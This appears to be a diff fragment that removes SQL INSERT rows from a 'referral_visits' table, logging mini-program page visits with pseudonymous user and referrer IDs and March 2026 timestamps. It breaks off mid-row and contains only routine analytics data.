-INSERT INTO `referral_visits` VALUES (317, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-03 03:05:26'); -INSERT INTO `referral_visits` VALUES (318, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-03 09:40:38'); -INSERT INTO `referral_visits` VALUES (319, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, 'miniprogram', NULL, '2026-03-03 09:40:38'); -INSERT INTO `referral_visits` VALUES (320, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, 'miniprogram', NULL, '2026-03-03 09:40:39'); -INSERT INTO `referral_visits` VALUES (321, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-03 09:40:40'); -INSERT INTO `referral_visits` VALUES (322, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-03 09:40:40'); -INSERT INTO `referral_visits` VALUES (323, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1768863702720', 'ogpTW5TQ7Pha_7yY9C65gkk8m3gw', 'miniprogram', NULL, '2026-03-03 13:26:33'); -INSERT INTO `referral_visits` VALUES (324, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1768863702720', 'ogpTW5TQ7Pha_7yY9C65gkk8m3gw', 'miniprogram', NULL, '2026-03-03 13:26:33'); -INSERT INTO `referral_visits` VALUES (325, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1768863702720', 'ogpTW5TQ7Pha_7yY9C65gkk8m3gw', 'miniprogram', 'pages/read/read', '2026-03-03 13:26:33'); -INSERT INTO `referral_visits` VALUES (326, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-04 03:10:58'); -INSERT INTO `referral_visits` VALUES (327, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-04 03:10:58'); -INSERT INTO `referral_visits` VALUES (328, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-03-04 03:11:23'); -INSERT INTO `referral_visits` VALUES (329, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-03-04 03:11:24'); -INSERT INTO `referral_visits` VALUES (330, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-04 05:49:06'); -INSERT INTO `referral_visits` VALUES (331, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-04 05:49:06'); -INSERT INTO `referral_visits` VALUES (332, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-04 05:49:06'); -INSERT INTO `referral_visits` VALUES (333, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-05 01:26:31'); -INSERT INTO `referral_visits` VALUES (334, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-05 01:26:31'); -INSERT INTO `referral_visits` VALUES (335, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-05 01:26:31'); -INSERT INTO `referral_visits` VALUES (336, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-05 04:22:32'); -INSERT INTO `referral_visits` VALUES (337, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-05 04:22:32'); -INSERT INTO `referral_visits` VALUES (338, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-05 04:22:32'); -INSERT INTO `referral_visits` VALUES (339, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-05 04:22:40'); -INSERT INTO `referral_visits` VALUES (340, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-05 04:22:40'); -INSERT INTO `referral_visits` VALUES (341, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-05 04:22:40'); -INSERT INTO `referral_visits` VALUES (342, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-05 04:24:40'); -INSERT INTO `referral_visits` VALUES (343, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-05 04:28:36'); -INSERT INTO `referral_visits` VALUES (344, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-05 04:28:36'); -INSERT INTO `referral_visits` VALUES (345, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-05 04:28:37'); -INSERT INTO `referral_visits` VALUES (346, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-05 04:28:46'); -INSERT INTO `referral_visits` VALUES (347, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-05 04:28:53'); -INSERT INTO `referral_visits` VALUES (348, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-05 04:28:59'); -INSERT INTO `referral_visits` VALUES (349, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-05 04:31:36'); -INSERT INTO `referral_visits` VALUES (350, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/my/my', '2026-03-05 09:34:44'); -INSERT INTO `referral_visits` VALUES (351, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', NULL, '2026-03-05 09:34:45'); -INSERT INTO `referral_visits` VALUES (352, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', NULL, '2026-03-05 09:34:45'); -INSERT INTO `referral_visits` VALUES (353, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/vip/vip', '2026-03-05 09:35:33'); -INSERT INTO `referral_visits` VALUES (354, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/vip/vip', '2026-03-05 09:35:38'); -INSERT INTO `referral_visits` VALUES (355, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', NULL, '2026-03-05 09:35:39'); -INSERT INTO `referral_visits` VALUES (356, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', NULL, '2026-03-05 09:35:39'); -INSERT INTO `referral_visits` VALUES (357, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/vip/vip', '2026-03-05 09:35:45'); -INSERT INTO `referral_visits` VALUES (358, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/vip/vip', '2026-03-05 09:35:48'); -INSERT INTO `referral_visits` VALUES (359, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-03-05 09:35:53'); -INSERT INTO `referral_visits` VALUES (360, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-03-05 09:36:00'); -INSERT INTO `referral_visits` VALUES (361, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/vip/vip', '2026-03-05 09:38:38'); -INSERT INTO `referral_visits` VALUES (362, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/vip/vip', '2026-03-05 09:38:42'); -INSERT INTO `referral_visits` VALUES (363, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/index/index', '2026-03-05 10:00:19'); -INSERT INTO `referral_visits` VALUES (364, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-05 10:00:19'); -INSERT INTO `referral_visits` VALUES (365, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/index/index', '2026-03-05 10:00:27'); -INSERT INTO `referral_visits` VALUES (366, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/read/read', '2026-03-05 10:00:27'); -INSERT INTO `referral_visits` VALUES (367, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-05 10:00:31'); -INSERT INTO `referral_visits` VALUES (368, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-05 10:00:31'); -INSERT INTO `referral_visits` VALUES (369, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-05 10:00:38'); -INSERT INTO `referral_visits` VALUES (370, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-05 10:00:38'); -INSERT INTO `referral_visits` VALUES (371, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-05 10:00:39'); -INSERT INTO `referral_visits` VALUES (372, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/read/read', '2026-03-05 10:00:54'); -INSERT INTO `referral_visits` VALUES (373, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/read/read', '2026-03-05 10:00:54'); -INSERT INTO `referral_visits` VALUES (374, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-05 10:01:53'); -INSERT INTO `referral_visits` VALUES (375, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-05 10:01:53'); -INSERT INTO `referral_visits` VALUES (376, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-05 10:01:53'); -INSERT INTO `referral_visits` VALUES (377, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-06 04:39:41'); -INSERT INTO `referral_visits` VALUES (378, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-06 04:39:41'); -INSERT INTO `referral_visits` VALUES (379, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-06 04:44:34'); -INSERT INTO `referral_visits` VALUES (380, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-06 04:44:34'); -INSERT INTO `referral_visits` VALUES (381, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-06 04:44:34'); -INSERT INTO `referral_visits` VALUES (382, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-06 04:44:45'); -INSERT INTO `referral_visits` VALUES (383, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/vip/vip', '2026-03-06 04:49:11'); -INSERT INTO `referral_visits` VALUES (384, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/vip/vip', '2026-03-06 04:51:20'); -INSERT INTO `referral_visits` VALUES (385, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/vip/vip', '2026-03-06 04:51:26'); -INSERT INTO `referral_visits` VALUES (386, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/vip/vip', '2026-03-06 04:51:37'); -INSERT INTO `referral_visits` VALUES (387, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/vip/vip', '2026-03-06 04:52:00'); -INSERT INTO `referral_visits` VALUES (388, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/vip/vip', '2026-03-06 04:52:08'); -INSERT INTO `referral_visits` VALUES (389, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-06 04:52:08'); -INSERT INTO `referral_visits` VALUES (390, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-06 04:52:14'); -INSERT INTO `referral_visits` VALUES (391, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-06 09:11:59'); -INSERT INTO `referral_visits` VALUES (392, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-06 09:11:59'); -INSERT INTO `referral_visits` VALUES (393, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-06 09:11:59'); -INSERT INTO `referral_visits` VALUES (394, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-06 22:06:28'); -INSERT INTO `referral_visits` VALUES (395, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-06 22:06:28'); -INSERT INTO `referral_visits` VALUES (396, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-06 22:06:28'); -INSERT INTO `referral_visits` VALUES (397, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-06 22:43:03'); -INSERT INTO `referral_visits` VALUES (398, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-06 22:43:03'); -INSERT INTO `referral_visits` VALUES (399, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-06 22:43:03'); -INSERT INTO `referral_visits` VALUES (400, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-07 00:46:05'); -INSERT INTO `referral_visits` VALUES (401, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-07 00:46:05'); -INSERT INTO `referral_visits` VALUES (402, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-07 00:46:05'); -INSERT INTO `referral_visits` VALUES (403, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-07 01:10:06'); -INSERT INTO `referral_visits` VALUES (404, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-07 01:10:06'); -INSERT INTO `referral_visits` VALUES (405, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-07 01:10:06'); -INSERT INTO `referral_visits` VALUES (406, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'miniprogram', 'pages/read/read', '2026-03-07 01:10:22'); -INSERT INTO `referral_visits` VALUES (407, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'miniprogram', 'pages/read/read', '2026-03-07 01:10:24'); -INSERT INTO `referral_visits` VALUES (408, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'miniprogram', 'pages/read/read', '2026-03-07 01:10:25'); -INSERT INTO `referral_visits` VALUES (409, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-07 01:24:44'); -INSERT INTO `referral_visits` VALUES (410, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-07 01:24:44'); -INSERT INTO `referral_visits` VALUES (411, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-07 01:24:44'); -INSERT INTO `referral_visits` VALUES (412, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-07 15:12:11'); -INSERT INTO `referral_visits` VALUES (413, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-07 15:12:11'); -INSERT INTO `referral_visits` VALUES (414, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-07 15:12:11'); -INSERT INTO `referral_visits` VALUES (415, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-07 15:12:17'); -INSERT INTO `referral_visits` VALUES (416, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-08 22:53:27'); -INSERT INTO `referral_visits` VALUES (417, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-08 22:53:27'); -INSERT INTO `referral_visits` VALUES (418, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-08 22:53:27'); -INSERT INTO `referral_visits` VALUES (419, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-08 23:02:53'); -INSERT INTO `referral_visits` VALUES (420, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-08 23:02:53'); -INSERT INTO `referral_visits` VALUES (421, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-08 23:02:53'); -INSERT INTO `referral_visits` VALUES (422, 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'miniprogram', NULL, '2026-03-08 23:53:18'); -INSERT INTO `referral_visits` VALUES (423, 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'miniprogram', NULL, '2026-03-08 23:53:18'); -INSERT INTO `referral_visits` VALUES (424, 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'miniprogram', 'pages/read/read', '2026-03-08 23:53:18'); -INSERT INTO `referral_visits` VALUES (425, 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'miniprogram', 'pages/read/read', '2026-03-08 23:53:51'); -INSERT INTO `referral_visits` VALUES (426, 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'miniprogram', 'pages/read/read', '2026-03-08 23:53:51'); -INSERT INTO `referral_visits` VALUES (427, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-09 03:23:06'); -INSERT INTO `referral_visits` VALUES (428, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-09 03:23:06'); -INSERT INTO `referral_visits` VALUES (429, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 03:16:07'); -INSERT INTO `referral_visits` VALUES (430, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 03:16:08'); -INSERT INTO `referral_visits` VALUES (431, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 03:16:14'); -INSERT INTO `referral_visits` VALUES (432, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:37:40'); -INSERT INTO `referral_visits` VALUES (433, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, 